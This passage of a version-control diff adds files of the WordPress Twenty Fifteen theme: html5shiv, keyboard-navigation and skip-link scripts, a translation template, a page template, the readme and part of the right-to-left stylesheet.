+ * HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+ */
+
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js	(revision 33402)
@@ -0,0 +1,22 @@
+/**
+ * Twenty Fifteen keyboard support for image navigation.
+ */
+
+( function( $ ) {
+	$( document ).on( 'keydown.twentyfifteen', function( e ) {
+		var url = false;
+
+		// Left arrow key code.
+		if ( e.which === 37 ) {
+			url = $( '.nav-previous a' ).attr( 'href' );
+
+		// Right arrow key code.
+		} else if ( e.which === 39 ) {
+			url = $( '.nav-next a' ).attr( 'href' );
+		}
+
+		if ( url && ( ! $( 'textarea, input' ).is( ':focus' ) ) ) {
+			window.location = url;
+		}
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js	(revision 33402)
@@ -0,0 +1,26 @@
+/**
+ * Makes "skip to content" link work correctly in IE9, Chrome, and Opera
+ * for better accessibility.
+ *
+ * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+ */
+
+( function() {
+	var ua = navigator.userAgent.toLowerCase();
+
+	if ( ( ua.indexOf( 'webkit' ) > -1 || ua.indexOf( 'opera' ) > -1 || ua.indexOf( 'msie' ) > -1 ) &&
+		document.getElementById && window.addEventListener ) {
+
+		window.addEventListener( 'hashchange', function() {
+			var element = document.getElementById( location.hash.substring( 1 ) );
+
+			if ( element ) {
+				if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.nodeName ) ) {
+					element.tabIndex = -1;
+				}
+
+				element.focus();
+			}
+		}, false );
+	}
+} )();
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/languages/twentyfifteen.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/languages/twentyfifteen.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/languages/twentyfifteen.pot	(revision 33402)
@@ -0,0 +1,328 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Fifteen 1.0\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentyfifteen\n"
+"POT-Creation-Date: 2014-12-14 12:26:59+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:17
+msgid "Oops! That page can&rsquo;t be found."
+msgstr ""
+
+#: 404.php:21
+msgid "It looks like nothing was found at this location. Maybe try a search?"
+msgstr ""
+
+#: archive.php:49 index.php:46 search.php:38
+msgid "Previous page"
+msgstr ""
+
+#: archive.php:50 index.php:47 search.php:39
+msgid "Next page"
+msgstr ""
+
+#: archive.php:51 content-link.php:40 content-page.php:29 content.php:42
+#: image.php:63 index.php:48 search.php:40
+msgid "Page"
+msgstr ""
+
+#: author-bio.php:12
+msgid "Published by"
+msgstr ""
+
+#: author-bio.php:34
+msgid "View all posts by %s"
+msgstr ""
+
+#: comments.php:28
+msgctxt "comments title"
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:53
+msgid "Comments are closed."
+msgstr ""
+
+#. translators: %s: Name of current post
+#: content-link.php:31 content.php:33 inc/template-tags.php:237
+msgid "Continue reading %s"
+msgstr ""
+
+#: content-link.php:36 content-page.php:25 content.php:38 image.php:59
+msgid "Pages:"
+msgstr ""
+
+#: content-link.php:56 content-page.php:35 content-search.php:28
+#: content-search.php:33 content.php:57 image.php:71
+msgid "Edit"
+msgstr ""
+
+#: content-none.php:15
+msgid "Nothing Found"
+msgstr ""
+
+#: content-none.php:22
+msgid ""
+"Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
+msgstr ""
+
+#: content-none.php:26
+msgid ""
+"Sorry, but nothing matched your search terms. Please try again with some "
+"different keywords."
+msgstr ""
+
+#: content-none.php:31
+msgid ""
+"It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps "
+"searching can help."
+msgstr ""
+
+#. #-#-#-#-#  twentyfifteen.pot (Twenty Fifteen 1.0)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:25
+msgid "https://wordpress.org/"
+msgstr ""
+
+#: footer.php:25
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:85
+msgid "Primary Menu"
+msgstr ""
+
+#: functions.php:86
+msgid "Social Links Menu"
+msgstr ""
+
+#: functions.php:133
+msgid "Widget Area"
+msgstr ""
+
+#: functions.php:135
+msgid "Add widgets here to appear in your sidebar."
+msgstr ""
+
+#. translators: If there are characters in your language that are not supported
+#. by Noto Sans, translate this to 'off'. Do not translate into your own
+#. language.
+#: functions.php:158
+msgctxt "Noto Sans font: on or off"
+msgid "on"
+msgstr ""
+
+#. translators: If there are characters in your language that are not supported
+#. by Noto Serif, translate this to 'off'. Do not translate into your own
+#. language.
+#: functions.php:163
+msgctxt "Noto Serif font: on or off"
+msgid "on"
+msgstr ""
+
+#. translators: If there are characters in your language that are not supported
+#. by Inconsolata, translate this to 'off'. Do not translate into your own
+#. language.
+#: functions.php:168
+msgctxt "Inconsolata font: on or off"
+msgid "on"
+msgstr ""
+
+#. translators: To add an additional character subset specific to your
+#. language, translate this to 'greek', 'cyrillic', 'devanagari' or
+#. 'vietnamese'. Do not translate into your own language.
+#: functions.php:173
+msgctxt "Add new subset (greek, cyrillic, devanagari, vietnamese)"
+msgid "no-subset"
+msgstr ""
+
+#: functions.php:231
+msgid "expand child menu"
+msgstr ""
+
+#: functions.php:232
+msgid "collapse child menu"
+msgstr ""
+
+#: header.php:27
+msgid "Skip to content"
+msgstr ""
+
+#: header.php:44
+msgid "Menu and widgets"
+msgstr ""
+
+#: image.php:24
+msgid "Previous Image"
+msgstr ""
+
+#: image.php:24
+msgid "Next Image"
+msgstr ""
+
+#: image.php:84
+msgctxt "Parent post link"
+msgid ""
+"<span class=\"meta-nav\">Published in</span><span class=\"post-title\">"
+"%title</span>"
+msgstr ""
+
+#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
+msgid ""
+"Twenty Fifteen requires at least WordPress version 4.1. You are running "
+"version %s. Please upgrade and try again."
+msgstr ""
+
+#: inc/customizer.php:36
+msgid "Base Color Scheme"
+msgstr ""
+
+#: inc/customizer.php:51
+msgid "Header and Sidebar Text Color"
+msgstr ""
+
+#: inc/customizer.php:52 inc/customizer.php:68 inc/customizer.php:73
+msgid "Applied to the header on small screens and the sidebar on wide screens."
+msgstr ""
+
+#: inc/customizer.php:67
+msgid "Header and Sidebar Background Color"
+msgstr ""
+
+#: inc/customizer.php:97
+msgid "Default"
+msgstr ""
+
+#: inc/customizer.php:108
+msgid "Dark"
+msgstr ""
+
+#: inc/customizer.php:119
+msgid "Yellow"
+msgstr ""
+
+#: inc/customizer.php:130
+msgid "Pink"
+msgstr ""
+
+#: inc/customizer.php:141
+msgid "Purple"
+msgstr ""
+
+#: inc/customizer.php:152
+msgid "Blue"
+msgstr ""
+
+#: inc/template-tags.php:23
+msgid "Comment navigation"
+msgstr ""
+
+#: inc/template-tags.php:26
+msgid "Older Comments"
+msgstr ""
+
+#: inc/template-tags.php:30
+msgid "Newer Comments"
+msgstr ""
+
+#: inc/template-tags.php:49
+msgid "Featured"
+msgstr ""
+
+#: inc/template-tags.php:55
+msgctxt "Used before post format."
+msgid "Format"
+msgstr ""
+
+#: inc/template-tags.php:76
+msgctxt "Used before publish date."
+msgid "Posted on"
+msgstr ""
+
+#: inc/template-tags.php:85
+msgctxt "Used before post author name."
+msgid "Author"
+msgstr ""
+
+#: inc/template-tags.php:91 inc/template-tags.php:99
+msgctxt "Used between list items, there is a space after the comma."
+msgid ", "
+msgstr ""
+
+#: inc/template-tags.php:94
+msgctxt "Used before category names."
+msgid "Categories"
+msgstr ""
+
+#: inc/template-tags.php:102
+msgctxt "Used before tag names."
+msgid "Tags"
+msgstr ""
+
+#: inc/template-tags.php:113
+msgctxt "Used before full size attachment link."
+msgid "Full size"
+msgstr ""
+
+#: inc/template-tags.php:122
+msgid "Leave a comment"
+msgstr ""
+
+#: inc/template-tags.php:122
+msgid "1 Comment"
+msgstr ""
+
+#: inc/template-tags.php:122
+msgid "% Comments"
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: single.php:33
+msgid "Next"
+msgstr ""
+
+#: single.php:34
+msgid "Next post:"
+msgstr ""
+
+#: single.php:36
+msgid "Previous"
+msgstr ""
+
+#: single.php:37
+msgid "Previous post:"
+msgstr ""
+
+#. Theme Name of the plugin/theme
+msgid "Twenty Fifteen"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "https://wordpress.org/themes/twentyfifteen"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"Our 2015 default theme is clean, blog-focused, and designed for clarity. "
+"Twenty Fifteen's simple, straightforward typography is readable on a wide "
+"variety of screen sizes, and suitable for multiple languages. We designed it "
+"using a mobile-first approach, meaning your content takes center-stage, "
+"regardless of whether your visitors arrive by smartphone, tablet, laptop, or "
+"desktop computer."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/page.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that
+ * other "pages" on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			// Include the page content template.
+			get_template_part( 'content', 'page' );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) :
+				comments_template();
+			endif;
+
+		// End the loop.
+		endwhile;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/readme.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/readme.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/readme.txt	(revision 33402)
@@ -0,0 +1,92 @@
+=== Twenty Fifteen ===
+Contributors: the WordPress team
+Tags: black, blue, gray, pink, purple, white, yellow, dark, light, two-columns, left-sidebar, fixed-layout, responsive-layout, accessibility-ready, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready
+Requires at least: 4.1
+Tested up to: 4.1
+Stable tag: 4.1
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+
+== Description ==
+Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer.
+
+* Responsive Layout
+* Custom Colors
+* Custom Header
+* Social Links
+* Menu Description
+* Post Formats
+* The GPL v2.0 or later license. :) Use it to make something cool.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the Add New button.
+2. Click Upload and Choose File, then select the theme's ZIP file. Click Install Now.
+3. Click Activate to use your new theme right away.
+
+== Frequently Asked Questions ==
+
+= How do I change the color scheme? =
+
+You can change the colors of your site easily using Twenty Fifteen.
+
+1. In your admin panel, go to Appearance -> Customize.
+4. Now you will see the Customizer and a tab called 'Colors'. Click this tab.
+5. You can now change your color scheme by selecting one of the predefined ones. Choose a color scheme you want from Base Color Scheme dropdown. You can preview the change in the Customizer.
+6. Should you wish to create your own color scheme or modify an existing one, you can by selecting the colors for each area listed.
+7. Once you are happy with your color changes you can click save and your changes will be reflected on your live site.
+
+= How do I add the Social Links to the sidebar? =
+
+Twenty Fifteen allows you display links to your social media profiles, like Twitter and Facebook, with icons.
+
+1. Create a new Custom Menu, and assign it to the Social Links Menu location.
+2. Add links to each of your social services using the Links panel.
+3. Icons for your social links will automatically appear if it's available.
+
+Available icons: (Linking to any of the following sites will automatically display its icon in your social menu).
+
+* Codepen
+* Digg
+* Dribbble
+* Dropbox
+* Facebook
+* Flickr
+* Foursquare
+* GitHub
+* Google+
+* Instagram
+* LinkedIn
+* Email (mailto: links)
+* Pinterest
+* Pocket
+* PollDaddy
+* Reddit
+* RSS Feed (URLs with /feed/)
+* Spotify
+* StumbleUpon
+* Tumblr
+* Twitch
+* Twitter
+* Vimeo
+* WordPress
+* YouTube
+
+Social networks that aren't currently supported will be indicated by a generic share icon.
+
+= How do I add a description for my menu link in navigation? =
+
+Twenty Fifteen sports a menu design that's easy to navigate -- especially when you add menu descriptions.
+
+1. Visit the Menus page in your admin.
+2. Use the Screen Options tab to "Show advanced menu properties".
+3. Select "Description" there to start editing menu descriptions.
+4. Select the menu you want to add links and descriptions to.
+5. When in the Menu Structure section, you can click open the link and add a description.
+6. Once you save the menu with your link, the new description should show up.
+
+= Quick Specs =
+
+1. The main content width is 660px.
+2. The sidebar width is 248px.
+3. Featured Images are 825px wide by 510px high.
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/rtl.css	(revision 33402)
@@ -0,0 +1,856 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See: https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Forms
+ * 5.0 - Navigations
+ * 6.0 - Accessibility
+ * 7.0 - Alignments
+ * 8.0 - Header
+ * 9.0 - Widgets
+ * 10.0 - Content
+ *   10.1 - Posts and pages
+ *   10.2 - Comments
+ * 11.0 - Media Queries
+ *    11.1 - Mobile Large
+ *    11.2 - Tablet Small
+ *    11.3 - Tablet Large
+ *    11.4 - Desktop Small
+ *    11.5 - Desktop Medium
+ *    11.6 - Desktop Large
+ *    11.7 - Desktop X-Large
+ */
+
+
+/**
+ * 1.0 Reset
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 2.0 Typography
+ */
+
+body,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"],
+input,
+select,
+textarea,
+blockquote cite,
+blockquote small,
+.post-password-form label,
+.main-navigation .menu-item-description,
+.post-navigation .meta-nav,
+.post-navigation .post-title,
+.pagination,
+.image-navigation,
+.comment-navigation,
+.site-title,
+.site-description,
+.widget-title,
+.widget_calendar caption,
+.widget_rss .rss-date,
+.widget_rss cite,
+.author-heading,
+.entry-footer,
+.page-title,
+.page-links,
+.entry-caption,
+.comments-title,
+.comment-reply-title,
+.comment-metadata,
+.pingback .edit-link,
+.comment-list .reply a,
+.comment-form label,
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.form-allowed-tags,
+.no-comments,
+.wp-caption-text,
+.gallery-caption {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-webkit-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-ms-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+blockquote {
+	border-right: 4px solid rgba(51, 51, 51, 0.7);
+	border-left: 0;
+	padding-right: 0.7778em;
+	padding-left: 0;
+}
+
+
+/**
+ * 3.0 Elements
+ */
+
+ul,
+ol {
+	margin: 0 1.3333em 1.6em 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 4.0 Forms
+ */
+
+.post-password-form input[type="submit"] {
+	right: auto;
+	left: 0;
+}
+
+
+/**
+ * 5.0 Navigations
+ */
+
+.main-navigation ul ul {
+	margin-right: 0.8em;
+	margin-left: auto;
+}
+
+.main-navigation .page_item_has_children > a,
+.main-navigation .menu-item-has-children > a {
+	padding-right: 0;
+	padding-left: 48px;
+}
+
+.dropdown-toggle {
+	right: auto;
+	left: 0;
+}
+
+.dropdown-toggle:after {
+	right: -1px;
+	left: auto;
+}
+
+.social-navigation li {
+	float: right;
+}
+
+.social-navigation a:before {
+	right: 0;
+	left: auto;
+}
+
+.secondary-toggle {
+	right: auto;
+	left: 0;
+}
+
+.post-navigation .has-post-thumbnail a:before {
+	right: 0;
+	left: auto;
+}
+
+.pagination .prev {
+	right: 0;
+	left: auto;
+}
+
+.pagination .prev:before {
+	content: "\f429";
+	right: -1px;
+	left: auto;
+}
+
+.pagination .next {
+	right: auto;
+	left: 0;
+}
+
+.pagination .next:before {
+	content: "\f430";
+	right: auto;
+	left: -1px;
+}
+
+.image-navigation .nav-previous a:before,
+.comment-navigation .nav-previous a:before {
+	content: "\f429";
+	margin-right: auto;
+	margin-left: 0.2em;
+}
+
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-next a:after {
+	content: "\f430";
+	margin-right: 0.2em;
+	margin-left: auto;
+}
+
+
+/**
+ * 6.0 Accessibility
+ */
+
+.screen-reader-text:hover,
+.screen-reader-text:focus {
+	right: 5px;
+	left: auto;
+}
+
+
+/**
+ * 7.0 Alignments
+ */
+
+.alignright {
+	float: right;
+}
+
+.alignleft {
+	float: left;
+}
+
+.aligncenter {
+	margin-right: auto;
+	margin-left: auto;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4em 0 1.6em 1.6em;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4em 1.6em 1.6em 0;
+}
+
+
+/**
+ * 8.0 Header
+ */
+
+.site-branding {
+	padding-right: 0;
+	padding-left: 60px;
+}
+
+
+/**
+ * 9.0 Widgets
+ */
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	margin: 0.7667em 0.8em 0 0;
+}
+
+
+/**
+ * 10.0 Content
+ */
+
+/**
+ * 10.1 Posts and pages
+ */
+
+.entry-content .more-link:after {
+	content: "\f430";
+}
+
+.author-link:after {
+	content: "\f430";
+}
+
+.author-info .avatar {
+	float: right;
+	margin: 0 0 1.6em 1.6em;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.posted-on,
+.byline,
+.cat-links,
+.tags-links,
+.comments-link,
+.entry-format,
+.full-size-link {
+	margin-right: auto;
+	margin-left: 1em;
+}
+
+.page-links a,
+.page-links > span {
+	margin: 0 0 0.3333em 0.3333em;
+}
+
+.page-links > .page-links-title {
+	padding-right: 0;
+	padding-left: 0.5em;
+}
+
+.type-attachment .entry-header {
+	clear: left;
+}
+
+.format-link .entry-title a:after {
+	-webkit-transform: scaleX(-1);
+	-moz-transform: scaleX(-1);
+	-ms-transform: scaleX(-1);
+	-o-transform: scaleX(-1);
+	transform: scaleX(-1);
+}
+
+
+/**
+ * 10.2 Comments
+ */
+
+.comment-list .children > li {
+	padding-right: 0.8em;
+	padding-left: 0;
+}
+
+.comment-author .avatar {
+	float: right;
+	margin-right: 0;
+	margin-left: 0.4em;
+}
+
+.bypostauthor > article .fn:after {
+	right: 3px;
+	left: auto;
+}
+
+.comment-metadata .edit-link {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.pingback .edit-link {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 1.3333em 1.6em 0;
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+
+/**
+ * 11.0 Media Queries
+ */
+
+
+/**
+ * 11.1 Mobile Large 620px
+ */
+
+@media screen and (min-width: 38.75em) {
+	ul,
+	ol {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	li > ul,
+	li > ol,
+	blockquote > ul,
+	blockquote > ol {
+		margin-right: 1.3333em;
+		margin-left: auto;
+	}
+
+	blockquote {
+		margin-right: -1em;
+		margin-left: auto;
+	}
+
+	blockquote > blockquote {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.page-header {
+		border-color: inherit;
+		border-left: none;
+		border-style: solid;
+		border-width: 0 7px 0 0;
+	}
+
+	.page-title,
+	.taxonomy-description {
+		margin-right: -7px;
+		margin-left: auto;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.comment-content li > ul,
+	.comment-content li > ol,
+	.comment-content blockquote > ul,
+	.comment-content blockquote > ol {
+		margin-right: 1.3333em;
+		margin-left: auto;
+	}
+}
+
+
+/**
+ * 11.2 Tablet Small 740px
+ */
+
+@media screen and (min-width: 46.25em) {
+	blockquote {
+		margin-right: -1.05em;
+		margin-left: auto;
+		padding-right: 0.85em;
+		padding-left: 0;
+	}
+
+	.main-navigation ul ul {
+		margin-right: 1em;
+		margin-left: auto;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 54px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	.site-branding {
+		padding-right: 0;
+		padding-left: 66px;
+	}
+
+	.widget blockquote {
+		margin-right: -1.2353em;
+		margin-left: auto;
+		padding-right: 1em;
+		padding-left: 0;
+	}
+
+	.widget blockquote > blockquote {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.widget blockquote.alignright,
+	.widget .wp-caption.alignright,
+	.widget img.alignright {
+		margin: 0.5em 0 1.5em 1.5em;
+	}
+
+	.widget blockquote.alignleft,
+	.widget .wp-caption.alignleft,
+	.widget img.alignleft {
+		margin: 0.5em 1.5em 1.5em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.9643em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.2857em 0.2857em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6471em 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.2353em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 6px;
+		left: auto;
+	}
+}
+
+
+/**
+ * 11.3 Tablet Large 880px
+ */
+
+@media screen and (min-width: 55em) {
+	blockquote {
+		margin-right: -1.0909em;
+		margin-left: auto;
+		padding-right: 0.9091em;
+		padding-left: 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 53px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	.site-branding {
+		padding-right: 0;
+		padding-left: 74px;
+	}
+
+	.widget blockquote {
+		margin-right: -1.2632em;
+		margin-left: auto;
+		padding-right: 1.0526em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.7188em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.25em 0.25em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6842em 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.4737em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.6842em;
+	}
+}
+
+
+/**
+ * 11.4 Desktop Small 955px
+ */
+
+@media screen and (min-width: 59.6875em) {
+	body:before {
+		right: 0;
+		left: auto;
+	}
+
+	.sidebar {
+		float: right;
+		margin-right: auto;
+		margin-left: -100%;
+	}
+
+	.site-content {
+		float: right;
+		margin-right: 29.4118%;
+		margin-left: auto;
+	}
+
+	blockquote {
+		margin-right: -1.3333em;
+		margin-left: auto;
+		padding-right: 1.1111em;
+		padding-left: 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 35px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4em 0 1.6em 1.6em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4em 1.6em 1.6em 0;
+	}
+
+	.widget blockquote {
+		margin-right: -1.5em;
+		margin-left: auto;
+		padding-right: 1.1667em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4583em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.3333em 0.3333em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.5em 1.5em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 0.8em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 0.8em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 3px;
+		left: auto;
+	}
+
+	.site-branding {
+		padding: 0;
+	}
+
+	.site-footer {
+		float: right;
+		margin: 0 35.2941% 0 0;
+	}
+}
+
+
+/**
+ * 11.5 Desktop Medium 1100px
+ */
+
+@media screen and (min-width: 68.75em) {
+	blockquote {
+		margin-right: -1.05em;
+		margin-left: auto;
+		padding-right: 0.85em;
+		padding-left: 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
